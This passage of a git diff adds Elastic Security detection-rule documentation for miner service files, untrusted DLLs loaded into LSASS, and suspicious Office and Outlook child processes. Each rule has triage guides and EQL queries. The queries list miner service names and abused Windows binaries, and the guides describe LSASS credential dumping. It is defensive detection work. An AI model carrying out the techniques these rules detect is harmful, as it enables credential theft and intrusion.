additional indicators of compromise, such as unexpected network connections or high CPU usage, which may suggest active cryptomining. +- Verify the legitimacy of the file by comparing it against known hashes of legitimate services or using threat intelligence sources to identify known malicious files. +- Assess the system for any other suspicious activities or anomalies that may indicate further compromise or persistence mechanisms. + + +*False positive analysis* + + +- Legitimate administrative scripts or services may create files with names similar to known mining services. Verify the origin and purpose of such files before taking action. +- System administrators might deploy custom monitoring or management services that inadvertently match the file names in the detection rule. Review and whitelist these services if they are confirmed to be non-threatening. +- Automated deployment tools or scripts could create service files as part of routine operations. Ensure these tools are properly documented and exclude them from the detection rule if they are verified as safe. +- Some legitimate software installations might use generic service names that overlap with those flagged by the rule. Cross-check with software documentation and exclude these from alerts if they are confirmed to be benign. + + +*Response and remediation* + + +- Isolate the affected Linux system from the network to prevent further unauthorized mining activity and potential lateral movement by the adversary. +- Terminate any suspicious processes associated with the identified mining services, such as aliyun.service, moneroocean_miner.service, or others listed in the detection query. +- Remove the malicious service files from the system to prevent them from being restarted or reused by the attacker. +- Conduct a thorough scan of the system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any additional malware or persistence mechanisms. +- Review and update system and application patches to close any vulnerabilities that may have been exploited to deploy the mining services. +- Monitor network traffic for unusual outbound connections that may indicate communication with mining pools or command and control servers, and block these connections if detected. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess the potential impact on other systems within the network. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.type == "creation" and event.action in ("creation", "file_create_event") and ( + ( + file.name like~ ( + "moneroocean_miner.service", "c3pool_miner.service", "pnsd.service", "apache4.service", "pastebin.service", "xvf.service" + ) + ) or + ( + process.executable like "/usr/local/share/aliyun-assist/*/aliyun-service" and file.name like~ "aliyun.service" + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Resource Hijacking +** ID: T1496 +** Reference URL: https://attack.mitre.org/techniques/T1496/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Systemd Service +** ID: T1543.002 +** Reference URL: https://attack.mitre.org/techniques/T1543/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-module-loaded-by-lsass.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-module-loaded-by-lsass.asciidoc new file mode 100644 index 0000000000..78ea6b9e4e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-module-loaded-by-lsass.asciidoc @@ -0,0 +1,233 @@ +[[prebuilt-rule-8-19-34-suspicious-module-loaded-by-lsass]] +=== Suspicious Module Loaded by LSASS + +Identifies LSASS loading an unsigned or untrusted DLL. Windows Security Support Provider (SSP) DLLs are loaded into LSSAS process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.library-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.xpnsec.com/exploring-mimikatz-part-2/ +* https://github.com/jas502n/mimikat_ssp + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 16 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Module Loaded by LSASS* + + +The Local Security Authority Subsystem Service (LSASS) is crucial for managing security policies and handling user authentication in Windows environments. Adversaries exploit LSASS by loading malicious or untrusted DLLs to access sensitive credentials. The detection rule identifies such threats by monitoring LSASS for unsigned or untrusted DLLs, excluding known safe signatures and hashes, thus flagging potential credential dumping activities. + + +*Possible investigation steps* + + +- Review the process details for lsass.exe to confirm the presence of any unsigned or untrusted DLLs loaded into the process. Pay particular attention to the DLL's code signature status and hash values. +- Cross-reference the identified DLL's hash against known malicious hashes in threat intelligence databases to determine if it is associated with any known threats. +- Investigate the source and path of the suspicious DLL to understand how it was introduced into the system. This may involve checking recent file creation or modification events in the system directories. +- Analyze the system's event logs for any related activities or anomalies around the time the suspicious DLL was loaded, such as unusual user logins or privilege escalation attempts. +- Check for any recent changes in the system's security settings or policies that might have allowed the loading of untrusted DLLs into LSASS. +- If the DLL is confirmed to be malicious, isolate the affected system to prevent further credential access or lateral movement within the network. + + +*False positive analysis* + + +- Legitimate software from trusted vendors not included in the exclusion list may trigger false positives. Users can update the exclusion list with additional trusted signatures or hashes from verified vendors to prevent these alerts. +- Custom or in-house developed DLLs used within the organization might be flagged as suspicious. Organizations should ensure these DLLs are signed with a trusted certificate and add their signatures to the exclusion list if necessary. +- Security software updates or patches from vendors not currently listed may cause false positives. Regularly review and update the exclusion list to include new trusted signatures from security software providers. +- Temporary or expired certificates for legitimate DLLs can result in false positives. Users should verify the legitimacy of these DLLs and update the exclusion list with their signatures if they are confirmed safe. +- DLLs from newly installed software that are not yet recognized as trusted may be flagged. Users should validate the software's source and add its signatures to the exclusion list if it is deemed secure. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Terminate the LSASS process if it is confirmed to be running a malicious or untrusted DLL, ensuring that this action does not disrupt critical services. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any malicious files or remnants. +- Review and reset credentials for any accounts that may have been compromised, focusing on those with elevated privileges. +- Implement application whitelisting to prevent unauthorized DLLs from being loaded into critical processes like LSASS in the future. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Update security monitoring tools to enhance detection capabilities for similar threats, ensuring that alerts are generated for any future attempts to load untrusted DLLs into LSASS. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +==== Rule query + + +[source, js] +---------------------------------- +library where host.os.type == "windows" and event.action == "load" and + process.executable : "?:\\Windows\\System32\\lsass.exe" and + not ( + dll.code_signature.subject_name : ( + "Algorithmic Research LTD.", + "Amazon Web Services, Inc.", + "Apple Inc.", + "Audinate Pty Ltd", + "AuriStor, Inc.", + "Bit4id", + "Carbon Black, Inc.", + "Check Point Software Technologies Ltd.", + "Citrix Systems, Inc.", + "CyberArk Software Ltd.", + "Dell Inc", + "DigitalPersona, Inc.", + "EasyAntiCheat Oy", + "Entrust Corporation", + "Entrust Datacard Corporation", + "Entrust, Inc.", + "F5 Networks Inc", + "Fortinet, Inc.", + "Fortinet Technologies (Canada) Inc.", + "FrontRange Solutions Deutschland GmbH", + "GEMALTO SA", + "gemalto", + "Hewlett-Packard Company", + "HID Global", + "HID Global Corporation", + "HYPR Corp", + "IDEMIA IDENTITY & SECURITY FRANCE SAS", + "IDEMIA France SAS", + "Intel(R) Software Development Products", + "Istituto Poligrafico e Zecca dello Stato S.p.A.", + "LogMeIn, Inc.", + "McAfee, Inc.", + "McAfeeSysPrep", + "Micro Focus (US), Inc.", + "Micro Focus International plc", + "Microsoft Corporation", + "Microsoft Windows", + "Microsoft Windows Hardware Compatibility Publisher", + "Microsoft Windows Publisher", + "Microsoft Windows Software Compatibility Publisher", + "Morphisec Information Security 2014 Ltd", + "Musarubra US LLC", + "National Instruments Corporation", + "Novell, Inc.", + "Nubeva Technologies Ltd", + "NVIDIA Corporation PE Sign v2016", + "Palo Alto Networks (Netherlands) B.V.", + "Parallels International GmbH", + "PGP Corporation", + "QUEST SOFTWARE INC.", + "SecMaker AB", + "Secure Endpoints, Inc.", + "SecureLink, Inc.", + "SentinelOne Inc.", + "SentryBay Limited", + "Sophos Ltd", + "Symantec Corporation", + "Thales DIS CPL USA, Inc.", + "Tidexa OU", + "Trend Micro, Inc.", + "VMware, Inc.", + "Yubico AB" + ) and + dll.code_signature.status : ("trusted", "errorExpired", "errorCode_endpoint*", "errorChaining") + ) and + + not dll.hash.sha256 : ( + "811a03a5d7c03802676d2613d741be690b3461022ea925eb6b2651a5be740a4c", + "1181542d9cfd63fb00c76242567446513e6773ea37db6211545629ba2ecf26a1", + "ed6e735aa6233ed262f50f67585949712f1622751035db256811b4088c214ce3", + "26be2e4383728eebe191c0ab19706188f0e9592add2e0bf86b37442083ae5e12", + "9367e78b84ef30cf38ab27776605f2645e52e3f6e93369c674972b668a444faa", + "d46cc934765c5ecd53867070f540e8d6f7701e834831c51c2b0552aba871921b", + "0f77a3826d7a5cd0533990be0269d951a88a5c277bc47cff94553330b715ec61", + "4aca034d3d85a9e9127b5d7a10882c2ef4c3e0daa3329ae2ac1d0797398695fb", + "86031e69914d9d33c34c2f4ac4ae523cef855254d411f88ac26684265c981d95", + "4af1fee3369d9a993a84f54eafb72a661633c33e9e12fb3dd151a6a2cddbd404" + ) and + not dll.path : ( + "C:\\Windows\\System32\\CertPolEng.dll", + "C:\\Windows\\System32\\FWPUCLNT.DLL", + "C:\\Windows\\System32\\keyiso.dll", + "C:\\Windows\\System32\\ngcpopkeysrv.dll", + "C:\\Windows\\System32\\SecureTimeAggregator.dll", + "C:\\Windows\\System32\\vaultsvc.dll" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: LSASS Memory +** ID: T1003.001 +** Reference URL: https://attack.mitre.org/techniques/T1003/001/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Security Support Provider +** ID: T1547.005 +** Reference URL: https://attack.mitre.org/techniques/T1547/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-ms-office-child-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-ms-office-child-process.asciidoc new file mode 100644 index 0000000000..f4f0023675 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-ms-office-child-process.asciidoc @@ -0,0 +1,281 @@ +[[prebuilt-rule-8-19-34-suspicious-ms-office-child-process]] +=== Suspicious MS Office Child Process + +Identifies suspicious child processes of frequently targeted Microsoft Office applications (Word, PowerPoint, Excel). These child processes are often launched during exploitation of Office applications or from documents with malicious macros. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/blog/vulnerability-summary-follina + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Defense Evasion +* Tactic: Execution +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Living off the Land +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 321 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious MS Office Child Process* + + +Microsoft Office (MS Office) is a suite of applications designed to help with productivity and completing common tasks on a computer. You can create and edit documents containing text and images, work with data in spreadsheets and databases, and create presentations and posters. As it is some of the most-used software across companies, MS Office is frequently targeted for initial access. It also has a wide variety of capabilities that attackers can take advantage of. + +This rule looks for suspicious processes spawned by MS Office programs. This is generally the result of the execution of malicious documents. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Retrieve MS Office documents received and opened by the user that could cause this behavior. Common locations include, but are not limited to, the Downloads and Document folders and the folder configured at the email client. +- Determine if the collected files are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - File and registry access, modification, and creation activities. + - Service creation and launch activities. + - Scheduled task creation. + - Use the PowerShell Get-FileHash cmdlet to get the files' SHA-256 hash values. + - Search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. + - If the malicious file was delivered via phishing: + - Block the email sender from sending future emails. + - Block the malicious web pages. + - Remove emails from the sender from mailboxes. + - Consider improvements to the security awareness program. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.name : ( + "eqnedt32.exe", "excel.exe", "fltldr.exe", "msaccess.exe", + "mspub.exe", "powerpnt.exe", "winword.exe", "outlook.exe" + ) and + process.name : ( + "Microsoft.Workflow.Compiler.exe", "arp.exe", "atbroker.exe", "bginfo.exe", "bitsadmin.exe", "cdb.exe", + "certutil.exe", "cmd.exe", "cmstp.exe", "control.exe", "cscript.exe", "csi.exe", "dnx.exe", "dsget.exe", + "dsquery.exe", "forfiles.exe", "fsi.exe", "ftp.exe", "gpresult.exe", "hostname.exe", "ieexec.exe", "iexpress.exe", + "installutil.exe", "ipconfig.exe", "mshta.exe", "msxsl.exe", "nbtstat.exe", "net.exe", "net1.exe", "netsh.exe", + "netstat.exe", "nltest.exe", "odbcconf.exe", "ping.exe", "powershell.exe", "pwsh.exe", "qprocess.exe", + "quser.exe", "qwinsta.exe", "rcsi.exe", "reg.exe", "regasm.exe", "regsvcs.exe", "regsvr32.exe", "sc.exe", + "schtasks.exe", "systeminfo.exe", "tasklist.exe", "tracert.exe", "whoami.exe", "wmic.exe", "wscript.exe", + "xwizard.exe", "explorer.exe", "rundll32.exe", "hh.exe", "msdt.exe" + ) and + not ( + process.parent.name : "outlook.exe" and + process.name : "rundll32.exe" and + process.args : "shell32.dll,Control_RunDLL" and + process.args : "srchadmin.dll" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Attachment +** ID: T1566.001 +** Reference URL: https://attack.mitre.org/techniques/T1566/001/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Technique: +** Name: Exploitation for Client Execution +** ID: T1203 +** Reference URL: https://attack.mitre.org/techniques/T1203/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Compiled HTML File +** ID: T1218.001 +** Reference URL: https://attack.mitre.org/techniques/T1218/001/ +* Sub-technique: +** Name: Control Panel +** ID: T1218.002 +** Reference URL: https://attack.mitre.org/techniques/T1218/002/ +* Sub-technique: +** Name: CMSTP +** ID: T1218.003 +** Reference URL: https://attack.mitre.org/techniques/T1218/003/ +* Sub-technique: +** Name: InstallUtil +** ID: T1218.004 +** Reference URL: https://attack.mitre.org/techniques/T1218/004/ +* Sub-technique: +** Name: Mshta +** ID: T1218.005 +** Reference URL: https://attack.mitre.org/techniques/T1218/005/ +* Sub-technique: +** Name: Odbcconf +** ID: T1218.008 +** Reference URL: https://attack.mitre.org/techniques/T1218/008/ +* Sub-technique: +** Name: Regsvcs/Regasm +** ID: T1218.009 +** Reference URL: https://attack.mitre.org/techniques/T1218/009/ +* Sub-technique: +** Name: Regsvr32 +** ID: T1218.010 +** Reference URL: https://attack.mitre.org/techniques/T1218/010/ +* Sub-technique: +** Name: Rundll32 +** ID: T1218.011 +** Reference URL: https://attack.mitre.org/techniques/T1218/011/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Network Configuration Discovery +** ID: T1016 +** Reference URL: https://attack.mitre.org/techniques/T1016/ +* Technique: +** Name: System Owner/User Discovery +** ID: T1033 +** Reference URL: https://attack.mitre.org/techniques/T1033/ +* Technique: +** Name: System Network Connections Discovery +** ID: T1049 +** Reference URL: https://attack.mitre.org/techniques/T1049/ +* Technique: +** Name: Process Discovery +** ID: T1057 +** Reference URL: https://attack.mitre.org/techniques/T1057/ +* Technique: +** Name: System Information Discovery +** ID: T1082 +** Reference URL: https://attack.mitre.org/techniques/T1082/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-ms-outlook-child-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-ms-outlook-child-process.asciidoc new file mode 100644 index 0000000000..d5852a1669 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-ms-outlook-child-process.asciidoc @@ -0,0 +1,235 @@ +[[prebuilt-rule-8-19-34-suspicious-ms-outlook-child-process]] +=== Suspicious MS Outlook Child Process + +Identifies suspicious child processes of Microsoft Outlook. These child processes are often associated with spear phishing activity. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Defense Evasion +* Tactic: Execution +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Data Source: Windows Security Event Logs +* Data Source: Crowdstrike +* Data Source: Sysmon +* Noise: Medium +* Performance: Normal +* Threat: Living off the Land +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 423 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious MS Outlook Child Process* + + +Microsoft Outlook is an email client that provides contact, email calendar, and task management features. Outlook is widely used, either standalone or as part of the Office suite. + +This rule looks for suspicious processes spawned by MS Outlook, which can be the result of the execution of malicious documents and/or exploitation for initial access. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Retrieve recently opened files received via email and opened by the user that could cause this behavior. Common locations include but are not limited to, the Downloads and Document folders and the folder configured at the email client. +- Determine if the collected files are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - File and registry access, modification, and creation activities. + - Service creation and launch activities. + - Scheduled task creation. + - Use the PowerShell Get-FileHash cmdlet to get the files' SHA-256 hash values. + - Search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. + - If the malicious file was delivered via phishing: + - Block the email sender from sending future emails. + - Block the malicious web pages. + - Remove emails from the sender from mailboxes. + - Consider improvements to the security awareness program. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.name : "outlook.exe" and + process.name : ("Microsoft.Workflow.Compiler.exe", "arp.exe", "atbroker.exe", "bginfo.exe", "bitsadmin.exe", + "cdb.exe", "certutil.exe", "cmd.exe", "cmstp.exe", "cscript.exe", "csi.exe", "dnx.exe", "dsget.exe", + "dsquery.exe", "forfiles.exe", "fsi.exe", "ftp.exe", "gpresult.exe", "hostname.exe", "ieexec.exe", + "iexpress.exe", "installutil.exe", "ipconfig.exe", "mshta.exe", "msxsl.exe", "nbtstat.exe", "net.exe", + "net1.exe", "netsh.exe", "netstat.exe", "nltest.exe", "odbcconf.exe", "ping.exe", "powershell.exe", + "pwsh.exe", "qprocess.exe", "quser.exe", "qwinsta.exe", "rcsi.exe", "reg.exe", "regasm.exe", + "regsvcs.exe", "regsvr32.exe", "sc.exe", "schtasks.exe", "systeminfo.exe", "tasklist.exe", + "tracert.exe", "whoami.exe", "wmic.exe", "wscript.exe", "xwizard.exe") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Attachment +** ID: T1566.001 +** Reference URL: https://attack.mitre.org/techniques/T1566/001/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: CMSTP +** ID: T1218.003 +** Reference URL: https://attack.mitre.org/techniques/T1218/003/ +* Sub-technique: +** Name: InstallUtil +** ID: T1218.004 +** Reference URL: https://attack.mitre.org/techniques/T1218/004/ +* Sub-technique: +** Name: Mshta +** ID: T1218.005 +** Reference URL: https://attack.mitre.org/techniques/T1218/005/ +* Sub-technique: +** Name: Odbcconf +** ID: T1218.008 +** Reference URL: https://attack.mitre.org/techniques/T1218/008/ +* Sub-technique: +** Name: Regsvcs/Regasm +** ID: T1218.009 +** Reference URL: https://attack.mitre.org/techniques/T1218/009/ +* Sub-technique: +** Name: Regsvr32 +** ID: T1218.010 +** Reference URL: https://attack.mitre.org/techniques/T1218/010/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-named-pipe-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-named-pipe-creation.asciidoc new file mode 100644 index 0000000000..026dbe036a --- 